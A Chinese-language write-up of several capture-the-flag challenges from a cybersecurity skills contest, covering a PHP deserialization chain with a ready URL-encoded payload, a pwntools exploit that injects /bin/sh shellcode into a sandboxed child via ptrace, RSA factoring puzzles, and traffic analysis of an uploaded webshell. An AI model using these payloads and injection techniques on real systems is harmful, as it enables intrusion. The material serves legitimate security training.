【CTF对抗-网络安全行业职业技能大赛部分题解】此文章归类为:CTF对抗。
宇宙安全声明
⚠⚠⚠由于相关题目稀缺难以收集,以下为部分题解。题目可能会缺失,欢迎也恳请有资源者补充相关题目。同时因为没法验证答案,可能存在错误,如有问题敬请批评指正。
PHP反序列化。
构造以下代码。
得到payload。
常规Pwn题目,典型的板子题目。
检查checksec和seccomp,查看伪代码。
注意到No PIE,这对解题有用。
虽然没有过滤execve,但是直接执行execve("/bin/sh", 0, 0)是不可行的。因为执行中同样适用read被禁用的规则,而执行必然调用read。
符合以下特征。
对于符合此类特征的题目,直接使用模板即可。
与此类似的题目例如NepCTF 2025 smallbox。【参考1、参考2】区别是原题的子进程可执行地址是由mmap固定分配的,而此题的子进程可执行地址可借用原始代码段(回顾:No PIE)。
整体逻辑较为简单,但有部分要点需要强调。
Q1: 为什么使用汇编获取pid?
在本题中,pid是被直接输出的,因此可以通过io获取。但是考虑到通用性,有时题目不会输出pid,但以上结果可能被暂存在堆栈或寄存器中,因此使用汇编获取。此外,若采用将pid嵌入汇编源码的方式,由于asm每次汇编需要时间,而相同代码汇编可以利用缓存,为提高效率,防止超时,使用固定寄存器也是合理的。
Q2: 为什么前置b"\x90" * 2,并跳转到fork_exec_addr + 2?
原题中没有体现这点,不完成这一操作也可打通。但此题有相当大概率不行。关键原因在于是否存在系统调用。
原题是死循环,未涉及系统调用。而本题则包含系统调用。这到底意味着什么呢?这里涉及到Linux代码追溯至0.12版本(1992年,非常早,当时Linux还是按版本而非补丁发布)开始引入的代码行为。
例如本题,如果中断在系统调用之间,则会回退2字节,例如原题,如果不中断在系统调用之间,则无此烦恼。为了使得代码通用,我们前置b"\x90" * 2,并跳转到fork_exec_addr + 2。【参考】
经典RSA题目。
关注到n1和n2有最大公因数p,然后可得到q1、q2。
得到前半部分结果flag="flag{d963aed3-87d3"。
好的,题目也不知道哪里拼来改的,我也不知道给出的r是个啥。也就是给出N、e、enc、g要求m。
此题为共素数RSA。【参考】
直接使用文章中的脚本。先简单计算下相关的参数,判断符合文章“1.3.3. 已知 g”一节中“g < a + b”的情况。
稍微扩大范围。
得到p、q后直接解密即可。
得到后半部分结果-11f0-88f5-7cb56648c636}。
简单Reverse题目。换表Base64。
流量分析题目,套娃公钥密码。
开幕雷击。上传了木马shell.php。题目把密码rebeyond给我们了。
提前准备CyberChef解密请求体。
提前准备CyberChef解密响应体。
使用过滤器http.request.method == POST && http.request.uri contains shell.php,结果如下。
遇到混淆流量,追踪HTTP流可能会有问题,故追踪TCP流。逐条分析,主要包括连接验证流量、系统信息流量、列举目录流量、下载文件流量(下载文件为/Users/g0fl1er/website/train/upload/d41d8cd98f00b204e9800998ecf8427e/data.zip,保存文件后续分析)、校验文件流量(文件哈希c8f82d835a75f23c)。
data.zip内容如下。
hint.txt
publickey1.pem
publickey2.pem
使用以下CyberChef recipe。
得到:
在PEM中,上面的为模数,下面的为指数。或者使用脚本也可自动解析这一点。
在Misc题目里面塞Crypto题目是令人无语的。已知n1、n2、e。小伙伴们可能会问,能解?嘿,还别说,出题人设计了n1、n2有相同的d。别问,问就是出题人也没说,问就是做题经验,反正我没有。【参考】
先用SageMath跑出d。直接用上述文章中的脚本。
再根据n、e、d求出p、q。借用不知何处找来的脚本。
按照hint.txt计算即可。咱也不知道他的p、q分别是啥。一般认为p > q吧……
简单Misc题目。修复PNG图片宽高。
修复后:

图中可见flag。
由于是资源整合文章,照搬照抄了众多脚本,许多来源已经不可考。总有一天我要不做脚本小子/(ㄒoㄒ)/
以下列出我能够找到ID的,按照首次出现在本文的顺序排序。
<?phpclass o_dfgdf{ public $mod1; public function __call($fuc,$param) { $s = $this->mod1; $s(); }}class o_ljiot{ public $mod1; public function test() { $this->mod1->test(); }}class o_hjldg{ public $mod1; public function __destruct() { $this->mod1->test(); }}class o_lijog{ public function get_flag() { include("flag.php"); echo $flag; }}class o_iojnd{ public $mod1; public function __toString() { $this->mod1->get_flag(); return ""; }}class o_podjg{ public $mod1; public $mod2; public function __invoke() { $this->mod2 = "hello, ".$this->mod1; } }$a = @unserialize($_GET['welcome']);throw new Exception('What happened?');echo $a;<?phpclass o_dfgdf{ public $mod1; public function __call($fuc,$param) { $s = $this->mod1; $s(); }}class o_ljiot{ public $mod1; public function test() { $this->mod1->test(); }}class o_hjldg{ public $mod1; public function __destruct() { $this->mod1->test(); }}class o_lijog{ public function get_flag() { include("flag.php"); echo $flag; }}class o_iojnd{ public $mod1; public function __toString() { $this->mod1->get_flag(); return ""; }}class o_podjg{ public $mod1; public $mod2; public function __invoke() { $this->mod2 = "hello, ".$this->mod1; } }$a = @unserialize($_GET['welcome']);throw new Exception('What happened?');echo $a;$get_flag = new o_lijog();$toString = new o_iojnd();$toString->mod1 = $get_flag;$invoke = new o_podjg();$invoke->mod1 = $toString;$call = new o_dfgdf();$call->mod1 = $invoke;$test = new o_ljiot();$test->mod1 = $call;$destruct = new o_hjldg();$destruct->mod1 = $test;$gc = array($destruct, 0);$welcome = serialize($gc);$welcome[-7] = '0';echo urlencode($welcome);$get_flag = new o_lijog();$toString = new o_iojnd();$toString->mod1 = $get_flag;$invoke = new o_podjg();$invoke->mod1 = $toString;$call = new o_dfgdf();$call->mod1 = $invoke;$test = new o_ljiot();$test->mod1 = $call;$destruct = new o_hjldg();$destruct->mod1 = $test;$gc = array($destruct, 0);$welcome = serialize($gc);$welcome[-7] = '0';echo urlencode($welcome);a%3A2%3A%7Bi%3A0%3BO%3A7%3A%22o_hjldg%22%3A1%3A%7Bs%3A4%3A%22mod1%22%3BO%3A7%3A%22o_ljiot%22%3A1%3A%7Bs%3A4%3A%22mod1%22%3BO%3A7%3A%22o_dfgdf%22%3A1%3A%7Bs%3A4%3A%22mod1%22%3BO%3A7%3A%22o_podjg%22%3A2%3A%7Bs%3A4%3A%22mod1%22%3BO%3A7%3A%22o_iojnd%22%3A1%3A%7Bs%3A4%3A%22mod1%22%3BO%3A7%3A%22o_lijog%22%3A0%3A%7B%7D%7Ds%3A4%3A%22mod2%22%3BN%3B%7D%7D%7D%7Di%3A0%3Bi%3A0%3B%7Da%3A2%3A%7Bi%3A0%3BO%3A7%3A%22o_hjldg%22%3A1%3A%7Bs%3A4%3A%22mod1%22%3BO%3A7%3A%22o_ljiot%22%3A1%3A%7Bs%3A4%3A%22mod1%22%3BO%3A7%3A%22o_dfgdf%22%3A1%3A%7Bs%3A4%3A%22mod1%22%3BO%3A7%3A%22o_podjg%22%3A2%3A%7Bs%3A4%3A%22mod1%22%3BO%3A7%3A%22o_iojnd%22%3A1%3A%7Bs%3A4%3A%22mod1%22%3BO%3A7%3A%22o_lijog%22%3A0%3A%7B%7D%7Ds%3A4%3A%22mod2%22%3BN%3B%7D%7D%7D%7Di%3A0%3Bi%3A0%3B%7DArch: amd64-64-littleRELRO: Partial RELROStack: No canary foundNX: NX enabledPIE: No PIE (0x400000)SHSTK: EnabledIBT: EnabledStripped: NoArch: amd64-64-littleRELRO: Partial RELROStack: No canary foundNX: NX enabledPIE: No PIE (0x400000)SHSTK: EnabledIBT: EnabledStripped: Noline CODE JT JF K================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x09 0xc000003e if (A != ARCH_X86_64) goto 0011 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x06 0xffffffff if (A != 0xffffffff) goto 0011 0005: 0x15 0x05 0x00 0x00000000 if (A == read) goto 0011 0006: 0x15 0x04 0x00 0x00000013 if (A == readv) goto 0011 0007: 0x15 0x03 0x00 0x0000002a if (A == connect) goto 0011 0008: 0x15 0x02 0x00 0x00000039 if (A == fork) goto 0011 0009: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0011 0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0011: 0x06 0x00 0x00 0x00000000 return KILLline CODE JT JF K================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x09 0xc000003e if (A != ARCH_X86_64) goto 0011 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x06 0xffffffff if (A != 0xffffffff) goto 0011 0005: 0x15 0x05 0x00 0x00000000 if (A == read) goto 0011 0006: 0x15 0x04 0x00 0x00000013 if (A == readv) goto 0011 0007: 0x15 0x03 0x00 0x0000002a if (A == connect) goto 0011 0008: 0x15 0x02 0x00 0x00000039 if (A == fork) goto 0011 0009: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0011 0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0011: 0x06 0x00 0x00 0x00000000 return KILLint __fastcall main(int argc, const char **argv, const char **envp){ __pid_t v4; // [rsp+4h] [rbp-Ch] init(argc, argv, envp); v4 = fork(); if ( v4 ) { printf("pid: %d\n", v4); mmap((void *)0x10000, 0x1000u, 7, 50, -1, 0); read(0, (void *)0x10000, 0x1000u); sandbox(); MEMORY[0x10000](); } else { love(); } return 0;}int __fastcall main(int argc, const char **argv, const char **envp){ __pid_t v4; // [rsp+4h] [rbp-Ch] init(argc, argv, envp); v4 = fork(); if ( v4 ) { printf("pid: %d\n", v4); mmap((void *)0x10000, 0x1000u, 7, 50, -1, 0); read(0, (void *)0x10000, 0x1000u); sandbox(); MEMORY[0x10000](); } else { love(); } return 0;}from pwn import *context(os="linux", arch="amd64", log_level="debug")fork_shellcode = b"\x90" * 2fork_shellcode += asm(shellcraft.sh())while len(fork_shellcode) % 8 != 0: fork_shellcode += b"\x90"fork_shellcode_u64 = [ u64(fork_shellcode[i : i + 8]) for i in range(0, len(fork_shellcode), 8)]PTRACE_PEEKDATA = 2PTRACE_POKEDATA = 5PTRACE_GETREGS = 12PTRACE_SETREGS = 13PTRACE_ATTACH = 16PTRACE_DETACH = 17main_shellcode = asm("mov r14d, [rbp-0xC]")pid = "r14"main_shellcode += asm(shellcraft.ptrace(PTRACE_ATTACH, pid, 0, 0))main_shellcode += asm(shellcraft.wait4(pid, 0, 0, 0))fork_exec_addr = 0x401170for idx, i in enumerate(fork_shellcode_u64): main_shellcode += asm( shellcraft.ptrace(PTRACE_POKEDATA, pid, fork_exec_addr + idx * 8, i) )main_regs_addr = 0x10000 + 0x500main_shellcode += asm(shellcraft.ptrace(PTRACE_GETREGS, pid, 0, main_regs_addr))main_shellcode += asm("mov rax, 0x{:X}".format(main_regs_addr))main_shellcode += asm("mov rdx, 0x{:X}".format(fork_exec_addr + 2))main_shellcode += asm("mov [rax+0x80], rdx")main_shellcode += asm(shellcraft.ptrace(PTRACE_SETREGS, pid, 0, main_regs_addr))main_shellcode += asm(shellcraft.ptrace(PTRACE_DETACH, pid, 0, 0))main_shellcode += asm("jmp $")io = process("./ezpwn")io.send(main_shellcode)io.interactive()from pwn import *context(os="linux", arch="amd64", log_level="debug")fork_shellcode = b"\x90" * 2fork_shellcode += asm(shellcraft.sh())while len(fork_shellcode) % 8 != 0: fork_shellcode += b"\x90"fork_shellcode_u64 = [ u64(fork_shellcode[i : i + 8]) for i in range(0, len(fork_shellcode), 8)]PTRACE_PEEKDATA = 2PTRACE_POKEDATA = 5PTRACE_GETREGS = 12PTRACE_SETREGS = 13PTRACE_ATTACH = 16PTRACE_DETACH = 17main_shellcode = asm("mov r14d, [rbp-0xC]")pid = "r14"main_shellcode += asm(shellcraft.ptrace(PTRACE_ATTACH, pid, 0, 0))main_shellcode += asm(shellcraft.wait4(pid, 0, 0, 0))fork_exec_addr = 0x401170for idx, i in enumerate(fork_shellcode_u64): main_shellcode += asm( shellcraft.ptrace(PTRACE_POKEDATA, pid, fork_exec_addr + idx * 8, i) )main_regs_addr = 0x10000 + 0x500main_shellcode += asm(shellcraft.ptrace(PTRACE_GETREGS, pid, 0, main_regs_addr))main_shellcode += asm("mov rax, 0x{:X}".format(main_regs_addr))main_shellcode += asm("mov rdx, 0x{:X}".format(fork_exec_addr + 2))main_shellcode += asm("mov [rax+0x80], rdx")main_shellcode += asm(shellcraft.ptrace(PTRACE_SETREGS, pid, 0, main_regs_addr))main_shellcode += asm(shellcraft.ptrace(PTRACE_DETACH, pid, 0, 0))main_shellcode += asm("jmp $")io = process("./ezpwn")io.send(main_shellcode)io.interactive()// 原题逻辑 while ( 1 ) ;// 本题逻辑 for ( i = 0; i <= 2999; ++i ) { puts("i love you"); result = sleep(1u); }// 原题逻辑 while ( 1 ) ;// 本题逻辑 for ( i = 0; i <= 2999; ++i ) { puts("i love you"); result = sleep(1u); }if ((orig_eax != -1) && ((eax == -ERESTARTSYS) || (eax == -ERESTARTNOINTR))) { if ((eax == -ERESTARTSYS) && ((sa->sa_flags & SA_INTERRUPT) || signr < SIGCONT || signr > SIGTTOU)) *(&eax) = -EINTR; else { *(&eax) = orig_eax; *(&eip) = old_eip -= 2; }}if ((orig_eax != -1) && ((eax == -ERESTARTSYS) || (eax == -ERESTARTNOINTR))) { if ((eax == -ERESTARTSYS) && ((sa->sa_flags & SA_INTERRUPT) || signr < SIGCONT || signr > SIGTTOU)) *(&eax) = -EINTR; else { *(&eax) = orig_eax; *(&eip) = old_eip -= 2; }}from Crypto.Util.number import *from secret import flage = 65537m = bytes_to_long(flag.encode())p = getPrime(256)q1, q2 = getPrime(256), getPrime(256)n1 = p*q1n2 = p*q2c1 = pow(m, e, n1)c2 = pow(m, e, n2)print("n1 = {}\nn2 = {}".format(n1, n2))print("c1 = {}\nc2 = {}".format(c1, c2))# n1 = ...# n2 = ...# c1 = ...# c2 = ...from Crypto.Util.number import *from secret import flage = 65537m = bytes_to_long(flag.encode())p = getPrime(256)q1, q2 = getPrime(256), getPrime(256)n1 = p*q1n2 = p*q2c1 = pow(m, e, n1)c2 = pow(m, e, n2)print("n1 = {}\nn2 = {}".format(n1, n2))print("c1 = {}\nc2 = {}".format(c1, c2))# n1 = ...# n2 = ...# c1 = ...# c2 = ...from Crypto.Util.number import *from math import gcdn1 = ...n2 = ...c1 = ...c2 = ...e = 65537p = gcd(n1, n2)q1 = n1 // pq2 = n2 // pphi1 = (p - 1) * (q1 - 1)phi2 = (p - 1) * (q2 - 1)assert gcd(phi1, e) == 1assert gcd(phi2, e) == 1d1 = pow(e, -1, phi1)d2 = pow(e, -1, phi2)m1 = pow(c1, d1, n1)m2 = pow(c2, d2, n2)assert m1 == m2print(long_to_bytes(m1).decode())from Crypto.Util.number import *from math import gcdn1 = ...n2 = ...c1 = ...c2 = ...e = 65537p = gcd(n1, n2)q1 = n1 // pq2 = n2 // pphi1 = (p - 1) * (q1 - 1)phi2 = (p - 1) * (q2 - 1)assert gcd(phi1, e) == 1assert gcd(phi2, e) == 1d1 = pow(e, -1, phi1)d2 = pow(e, -1, phi2)m1 = pow(c1, d1, n1)m2 = pow(c2, d2, n2)assert m1 == m2print(long_to_bytes(m1).decode())#encoding:utf-8from Crypto.Util.number import long_to_bytes, bytes_to_long, getPrimeimport random, gmpy2class RSAEncryptor: def __init__(self): self.g = self.a = self.b = 0 self.e = 65537 self.factorGen() self.product() def factorGen(self): while True: self.g = getPrime(256) while True: self.a = random.randrange(1 << 273, 1 << 274) if gmpy2.is_prime(2*self.g*self.a + 1): break while True: self.b = random.randrange(1 << 273, 1 << 274) if gmpy2.is_prime(2*self.g*self.b + 1) and self.b != self.a: break self.h = 2*self.g*self.a*self.b + self.a + self.b self.N = 2*self.g*self.h + 1 return def encrypt(self, msg_int): return int(gmpy2.powmod(msg_int, self.e, self.N)) def product(self): with open('/flag', 'rb') as f: raw = f.read().strip() m = bytes_to_long(raw) self.enc = self.encrypt(m) self.show() print(f'enc={self.enc}') def show(self): print(f"N={self.N}") print(f"e={self.e}") print(f"g={self.g}")RSAEncryptor()# N=...# e=65537# g=...# r=2# enc=...#encoding:utf-8from Crypto.Util.number import long_to_bytes, bytes_to_long, getPrimeimport random, gmpy2class RSAEncryptor: def __init__(self): self.g = self.a = self.b = 0 self.e = 65537 self.factorGen() self.product()更多【CTF对抗-网络安全行业职业技能大赛部分题解】相关视频教程:www.yxfzedu.com